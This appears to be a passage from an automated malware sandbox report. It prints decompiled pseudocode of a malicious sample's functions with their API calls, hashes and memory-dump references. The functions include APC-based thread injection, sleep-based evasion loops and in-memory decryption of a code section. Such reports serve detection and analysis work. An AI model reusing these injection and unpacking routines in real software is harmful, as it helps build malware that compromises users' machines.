0x10001b8c
0x10001b8e
0x10001b94
0x10001b96
0x10001b9b
0x10001b9e
0x10001ba9
0x10001bab
0x00000000
0x00000000
0x10001bad
0x10001bb0
0x10001bb2
0x00000000
0x00000000
0x00000000
0x10001bb2
0x10001bba
0x10001bba
0x10001bc6
0x10001bc6
0x10001b10
0x10001b11
0x10001b31
0x10001b37
0x10001b39
0x10001b3e
0x10001b7a
0x10001b7a
0x10001b40
0x10001b48
0x10001b4f
0x10001b59
0x10001b65
0x10001b6c
0x10001b71
0x10001b76
0x00000000
0x10001b76
0x10001b71
0x10001b3e
0x10001b11
0x10001bd3

APIs

InterlockedIncrement.KERNEL32(10004108), ref: 10001B1C
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 10001B31

Part of subcall function 100012DC: CreateThread.KERNEL32 ref: 100012F3
Part of subcall function 100012DC: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
Part of subcall function 100012DC: GetLastError.KERNEL32(00000000), ref: 10001313
Part of subcall function 100012DC: TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
Part of subcall function 100012DC: CloseHandle.KERNEL32(00000000), ref: 10001324
Part of subcall function 100012DC: SetLastError.KERNEL32(00000000), ref: 1000132D

InterlockedDecrement.KERNEL32(10004108), ref: 10001B84
SleepEx.KERNEL32(00000064,00000001), ref: 10001B9E
CloseHandle.KERNEL32 ref: 10001BBA
HeapDestroy.KERNEL32 ref: 10001BC6

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction ID: f0df8185a4137bf23340b4e7eb087222ae8a4cbb436f36e741c86f19ce9e809b
Opcode Fuzzy Hash: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction Fuzzy Hash: 922190B5601216AFF701DF69CCC4ACA7FE8FB642E07128129FA05D3168EB708D808B94

Uniqueness

Uniqueness Score: -1.00%

Function 02F96A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02F96A56(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x2f9d238 = _t10;
				if(_t10 != 0) {
					 *0x2f9d1a8 = GetTickCount();
					_t12 = E02F98F10(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L02F9B226();
							_t33 = _t14 + _t16;
							_t18 = E02F97E03(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E02F96B96(_t25) != 0) {
							 *0x2f9d260 = 1; // executed
						}
						_t12 = E02F9225B(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x02f96a56
0x02f96a5c
0x02f96a5d
0x02f96a69
0x02f96a71
0x02f96a76
0x02f96a86
0x02f96a8b
0x02f96a92
0x02f96a94
0x02f96a99
0x02f96a9f
0x02f96aa5
0x02f96aaf
0x02f96ab3
0x02f96ab5
0x02f96aba
0x02f96abb
0x02f96abc
0x02f96ac1
0x02f96ac7
0x02f96ad0
0x02f96ad1
0x02f96ad6
0x02f96adc
0x02f96ae8
0x02f96aea
0x02f96aea
0x02f96af4
0x02f96af4
0x02f96a78
0x02f96a7a
0x02f96a7a
0x02f96afe

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,02F9807D,?), ref: 02F96A69
GetTickCount.KERNEL32 ref: 02F96A7D
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,02F9807D,?), ref: 02F96A99
SwitchToThread.KERNEL32(?,00000001,?,?,?,02F9807D,?), ref: 02F96A9F
_aullrem.NTDLL(?,?,00000009,00000000), ref: 02F96ABC
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,02F9807D,?), ref: 02F96AD6

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 233d44269341231af217f00f0cdae82235f1f4c230651697649f72d12fdfae56
Instruction ID: 29a9487f26ce71934ffb2fdf862bc62651393d81300d17f44b23610b51dec26c
Opcode Fuzzy Hash: 233d44269341231af217f00f0cdae82235f1f4c230651697649f72d12fdfae56
Instruction Fuzzy Hash: E711A572E842047FFB24AB75EC09B5ABB9DDB48BD0F10492AFB05D6190EBB0D4508B61

Uniqueness

Uniqueness Score: -1.00%

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100012DC(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x1000414c, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x100012f3
0x100012f9
0x100012fd
0x10001308
0x10001310
0x10001319
0x1000131d
0x10001324
0x1000132b
0x1000132d
0x10001333
0x10001310
0x10001337

APIs

CreateThread.KERNEL32 ref: 100012F3
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
GetLastError.KERNEL32(00000000), ref: 10001313
TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
CloseHandle.KERNEL32(00000000), ref: 10001324
SetLastError.KERNEL32(00000000), ref: 1000132D

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction ID: 31004d63c2960ea31e2c824d7a0ae826113ff2aaace5ecc64d275acbf5e6dd3f
Opcode Fuzzy Hash: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction Fuzzy Hash: AAF0F232606631FBF6139BA08C98F9FBBADFB08BD1F01C404FA1591168CB3189109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 02F9225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E02F9225B(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E02F9550E();
				if(_t21 != 0) {
					_t59 =  *0x2f9d25c; // 0x2000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x2f9d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x2f9d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E02F93D0D( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x2f9d27c; // 0xd0a5a8
					if( *0x2f9d25c > 5) {
						_t8 = _t26 + 0x2f9e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x2f9ea15; // 0x44283a44
						_t27 = _t7;
					}
					E02F91BF4(_t27, _t27);
					_t31 = E02F91B2F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x2f9d270 =  *0x2f9d270 ^ 0x81bbe65d;
						_t32 = E02F92049(0x60);
						__eflags = _t32;
						 *0x2f9d32c = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x2f9d32c; // 0x3ca95b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x2f9d32c; // 0x3ca95b0
							 *_t51 = 0x2f9e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x2f9d238, 0, 0x43);
							__eflags = _t36;
							 *0x2f9d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x2f9d25c; // 0x2000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x2f9d27c; // 0xd0a5a8
								_t13 = _t58 + 0x2f9e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x2f9c2a7);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E02F9269C( ~_v8 &  *0x2f9d270, 0x2f9d00c); // executed
								_t42 = E02F94094(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E02F996A4(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E02F96786(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E02F93DD9(__eflags,  &(_t65[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x2f9d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E02F9A501(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x02f9225b
0x02f92266
0x02f92269
0x02f9226c
0x02f9226f
0x02f92276
0x02f92278
0x02f92284
0x02f92286
0x02f92286
0x02f9228f
0x02f92297
0x02f9229a
0x02f922b4
0x02f922c0
0x02f922c2
0x02f922c7
0x02f922d1
0x02f922d1
0x02f922c9
0x02f922c9
0x02f922c9
0x02f922c9
0x02f922d8
0x02f922e5
0x02f922ec
0x02f922f1
0x02f922f1
0x02f922f9
0x02f922fc
0x02f92322
0x02f9232e
0x02f92333
0x02f92335
0x02f9233a
0x02f92366
0x02f92368
0x02f9233c
0x02f92340
0x02f92345
0x02f9234a
0x02f92351
0x02f92357
0x02f9235c
0x02f92362
0x02f92369
0x02f9236b
0x02f9236d
0x02f9237c
0x02f92382
0x02f92384
0x02f92389
0x02f923b9
0x02f923bb
0x02f9238b
0x02f9238b
0x02f92391
0x02f9239e
0x02f923a4
0x02f923a4
0x02f923ac
0x02f923b5
0x02f923bc
0x02f923be
0x02f923c0
0x02f923c7
0x02f923d4
0x02f923d9
0x02f923de
0x02f923e0
0x02f923e2
0x00000000
0x00000000
0x02f923e4
0x02f923e9
0x02f923eb
0x02f923f2
0x02f923f6
0x02f923f9
0x02f9240e
0x02f92412
0x02f92417
0x00000000
0x02f92417
0x02f923fb
0x02f923fd
0x00000000
0x00000000
0x02f92403
0x02f92408
0x02f9240a
0x02f9240c
0x00000000
0x00000000
0x00000000
0x02f9240c
0x02f923ef
0x02f923ef
0x02f923c0
0x02f922fe
0x02f922fe
0x02f92303
0x02f92419
0x02f9241d
0x02f92425
0x02f92425
0x00000000
0x02f9241d
0x02f92309
0x02f9230c
0x02f92316
0x02f9231d
0x00000000
0x02f9242d
0x02f9242d
0x02f92431
0x02f92435
0x02f92435

APIs

Part of subcall function 02F9550E: GetModuleHandleA.KERNEL32(4C44544E,00000000,02F92274,00000000,00000000), ref: 02F9551D

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 02F922F1

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

memset.NTDLL ref: 02F92340
RtlInitializeCriticalSection.NTDLL(03CA9570), ref: 02F92351

Part of subcall function 02F93DD9: memset.NTDLL ref: 02F93DEE
Part of subcall function 02F93DD9: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 02F93E22
Part of subcall function 02F93DD9: StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 02F93E2D

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 02F9237C
wsprintfA.USER32 ref: 02F923AC

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: d5d765a93ae258e245829dfafe674ede755a16a2478b7a06b80a0dfa5c934190
Instruction ID: 5b6daa204a90760605308367114801594fc318f35d8b0c0cf5f1c3908381b003
Opcode Fuzzy Hash: d5d765a93ae258e245829dfafe674ede755a16a2478b7a06b80a0dfa5c934190
Instruction Fuzzy Hash: 0051DF71E40219BBFF20ABB9DD84F6EB7A9AB087C4F104826EB01D7242E7719954CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02F93AEF, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 02F93B46
SysAllocString.OLEAUT32(02F91885), ref: 02F93B89
SysFreeString.OLEAUT32(00000000), ref: 02F93B9D
SysFreeString.OLEAUT32(00000000), ref: 02F93BAB

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: bb4d6e40519a211fba361e6cc509fa038c6ee37e4e9b10ef0f7110e54dbb4fa3
Instruction ID: 287b98a60ae6d542340f3fd538a785522fd7f5c7fe0aefd0910713086742421f
Opcode Fuzzy Hash: bb4d6e40519a211fba361e6cc509fa038c6ee37e4e9b10ef0f7110e54dbb4fa3
Instruction Fuzzy Hash: 1731ECB2900109EFDF05DF98D8C48AEBBB5FF48384B10846EE60AE7210D7359685CF61

Uniqueness

Uniqueness Score: -1.00%

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100018F4(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x10004130;
				_t39 = E10001F5D(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x1000414c;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x100051a7; // 0x100051a7
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E100018C4(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x1000414c = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

0x100018fb
0x1000190b
0x10001912
0x10001915
0x1000192a
0x10001931
0x10001936
0x10001947
0x1000194a
0x10001952
0x10001955
0x100019ff
0x1000195b
0x1000195b
0x1000195f
0x100019c7
0x10001961
0x10001961
0x10001964
0x10001966
0x1000196e
0x10001971
0x10001974
0x1000197c
0x10001984
0x10001985
0x10001986
0x1000198d
0x1000198d
0x100019a1
0x100019a6
0x100019af
0x100019b6
0x100019b9
0x100019bd
0x100019c2
0x00000000
0x00000000
0x10001979
0x10001979
0x100019c4
0x100019d1
0x100019e6
0x100019d3
0x100019dc
0x100019e1
0x100019f7
0x100019f7
0x10001a06
0x10001a0c

APIs

VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Strings

Mar 9 2021, xrefs: 1000197C

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 9 2021
API String ID: 4010158826-2159264323
Opcode ID: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction ID: d25fb31f2c2add74eafa799964551cc2416acfdb7abcc9e218ddf36d438f9e1f
Opcode Fuzzy Hash: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction Fuzzy Hash: 4D315271E0111A9FEB01CF99C891ADEBBF5EF48384F108169E904A7259D771AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02F91A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E02F91A70(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E02F92049(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x02f91a7c
0x02f91a80
0x02f91a81
0x02f91a82
0x02f91a84
0x02f91a86
0x02f91a8b
0x02f91a8e
0x02f91b25
0x02f91b2c
0x02f91b2c
0x02f91a97
0x02f91a9e
0x02f91aae
0x02f91aae
0x02f91ab4
0x02f91ab6
0x02f91abb
0x02f91ac4
0x02f91acc
0x02f91acf
0x02f91ada
0x02f91ade
0x02f91ae0
0x02f91ae1
0x02f91aea
0x02f91aee
0x02f91aff
0x02f91af0
0x02f91af5
0x02f91afa
0x02f91b09
0x02f91b09
0x02f91ade
0x02f91b0f
0x02f91b15
0x02f91b15
0x02f91b1e
0x02f91b23
0x02f91b23
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 02F91A9E
lstrlenW.KERNEL32(?), ref: 02F91AD4
memcpy.NTDLL(00000000,?,?,?), ref: 02F91AF5
SysFreeString.OLEAUT32(?), ref: 02F91B09

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: bd62412861778fe7a73d43f9b345ec2783cf93fd4cfe92fe302c4f64639ba057
Instruction ID: e817dbf0e71f8b2b16fc07a96a3005e17e79ccb5e8d681e8e704e35fcaaf4319
Opcode Fuzzy Hash: bd62412861778fe7a73d43f9b345ec2783cf93fd4cfe92fe302c4f64639ba057
Instruction Fuzzy Hash: 72213275E0020AEFEF11DFA8D88499EBBB6FF49355B104579EA09D7214E7309A44CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02F994A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E02F994A9(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E02F92049(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x2f9c2a4); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x2f9c2a4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x02f994b4
0x02f994b8
0x02f994ba
0x02f994bb
0x02f994c3
0x02f994c3
0x02f994c7
0x00000000
0x00000000
0x02f994be
0x02f994bf
0x02f994c2
0x02f994c2
0x02f994cf
0x02f994d6
0x02f994da
0x02f994e2
0x02f994e8
0x02f994ea
0x02f994ef
0x02f994f3
0x02f994f5
0x02f994f8
0x02f994ff
0x02f994ff
0x02f99509
0x02f9950c
0x02f9950f
0x02f9950f
0x02f9951b
0x02f9951b
0x02f99528

APIs

StrChrA.SHLWAPI(?,00000020,00000000,03CA95AC,?,02F923DE,?,02F97634,03CA95AC,?,02F923DE), ref: 02F994C3
StrTrimA.KERNELBASE(?,02F9C2A4,00000002,?,02F923DE,?,02F97634,03CA95AC,?,02F923DE), ref: 02F994E2
StrChrA.SHLWAPI(?,00000020,?,02F923DE,?,02F97634,03CA95AC,?,02F923DE), ref: 02F994ED
StrTrimA.SHLWAPI(00000001,02F9C2A4,?,02F923DE,?,02F97634,03CA95AC,?,02F923DE), ref: 02F994FF

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: ed38d38e48d712b2da7886d4eacbc714612879a0058778f2f225387347241457
Instruction ID: 8140043c14d5f0a65f4d8a5add08ea4b68a843b12d792eecc0253bc2c087459a
Opcode Fuzzy Hash: ed38d38e48d712b2da7886d4eacbc714612879a0058778f2f225387347241457
Instruction Fuzzy Hash: 86015272A453156FF7319E69CC49F3BBBD8EB8AAD4F12051DFA45C7240DBA0C8018AA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E1000111A(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E1000163F(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x10001123
0x10001128
0x10001136
0x1000113b
0x1000113b
0x10001141
0x10001146
0x1000114a
0x1000114e
0x1000114e
0x10001158
0x10001161

APIs

GetCurrentThread.KERNEL32 ref: 1000111D
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 10001128
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 1000113B
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 1000114E

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction ID: 4c0cec3966cfd65f316416e497d44ff5eb1b0779e4299dd3e4543c5f6ab01fef
Opcode Fuzzy Hash: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction Fuzzy Hash: 91E092712066216BF302AB294C85EEB679DDF953F0B028225F620D22E8CF659D0286A5

Uniqueness

Uniqueness Score: -1.00%

Function 02F973FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F973FD(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

